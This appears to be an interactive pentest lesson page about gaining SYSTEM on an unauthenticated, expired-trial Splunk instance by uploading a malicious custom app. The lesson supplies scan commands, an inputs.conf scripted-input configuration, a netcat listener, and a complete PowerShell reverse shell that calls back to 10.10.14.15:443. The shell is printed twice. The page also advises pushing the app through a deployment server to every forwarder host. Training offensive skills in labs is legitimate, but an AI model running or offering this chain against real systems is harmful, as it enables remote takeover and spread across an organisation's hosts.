Splunk Free Edition: The Forgotten Instance That Gives You SYSTEM

0s8 min★ 40 XP

Lesson 11Interactive lesson

Splunk Free Edition: The Forgotten Instance That Gives You SYSTEM

A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.

Lesson format15 sections6 code blocks1 practice itemUpdated Aug 27, 2026

#The Trial Expired. The Authentication Disappeared.#link

A sysadmin installed Splunk Enterprise trial two years ago to evaluate it. Never bought a license. Forgot it existed. After 60 days, it converted to Splunk Free. No authentication. No role management. Anyone who finds port 8000 gets full admin access.

Identifying Splunk in your scan data

Nmap service detection revealing Splunk

root@vulnarex:~#sudo nmap -sV -p 8000,8089 10.129.201.50

Port 8000 is the web interface. Port 8089 is the management API. The banner says free license; remote login disabled—that means the trial expired and converted. No credentials needed. Just browse to the URL.

Building the malicious custom application

Creating the Splunk app directory structure

root@vulnarex:~#mkdir -p splunk_shell/bin splunk_shell/default

root@vulnarex:~#tree splunk_shell/

bash

# inputs.conf - tells Splunk to run our script every 10 seconds
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

powershell

# run.ps1 - PowerShell reverse shell one-liner
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Packaging and starting listener

root@vulnarex:~#tar -cvzf updater.tar.gz splunk_shell/

root@vulnarex:~#sudo nc -lnvp 443

Upload the tarball through Settings → Apps → Install app from file. The moment you click Upload, the application status switches to Enabled and the scripted input fires. Ten seconds later, your listener catches a connection.

Receiving the SYSTEM shell

root@vulnarex:~#sudo nc -lnvp 443

STRICT SECURE AUDIT RULE

If the compromised Splunk host is a deployment server, you can push the malicious app to ALL hosts with Universal Forwarders installed. Place the app in $SPLUNK_HOME/etc/deployment-apps/ on the compromised host. Windows forwarders don't have Python—use PowerShell.

★ 40 XP

quiz BLOCK (★ 40 XP)

What happens when a Splunk Enterprise trial license expires after 60 days?

Select your proof vectors above

Splunk has only 47 CVEs. It patches fast. But you don't need a CVE when the application hands you SYSTEM through its own scripted input feature. The next time you see port 8000 in a scan, check if authentication is actually enforced.

Lesson completion

Ready to resolve this lesson?

Finish the lesson once you have worked through the material. This awards ★ 40 XP.

Previous lesson

Lesson tools

Workspace

0% read

Lab notes

Notes persist per lesson.

The Trial Expired. The Authentication Disappeared.

Content

Last updated

August 27, 2026

Agent Setup

Access lesson content programmatically for AI agents, LLMs, and automated pipelines.

Fetch as Markdown (Accept header)

curl -H "Accept: text/markdown" "/api/content/lessons?courseSlug=attacking-common-applications&lessonSlug=11-splunk-custom-apps&lang=en&format=markdown"

MCP Server Config (mcp.json)

{
  "mcpServers": {
    "vulnarex": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-fetch"],
      "env": { "MCP_FETCH_URL": "https://vulnarex.com" }
    }
  }
}

MCP Server Card/.well-known/mcp.json A2A Agent Card/.well-known/agent-card.json API Catalog/.well-known/api-catalog robots.txt/robots.txt

Laboratory sanity code

Isolate active probes on matched virtual networks and keep execution streams sandboxed.

# run.ps1 - PowerShell reverse shell one-liner

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443)

$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)

$sendback = (iex $data 2>&1 | Out-String)

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

$stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

}

$client.Close()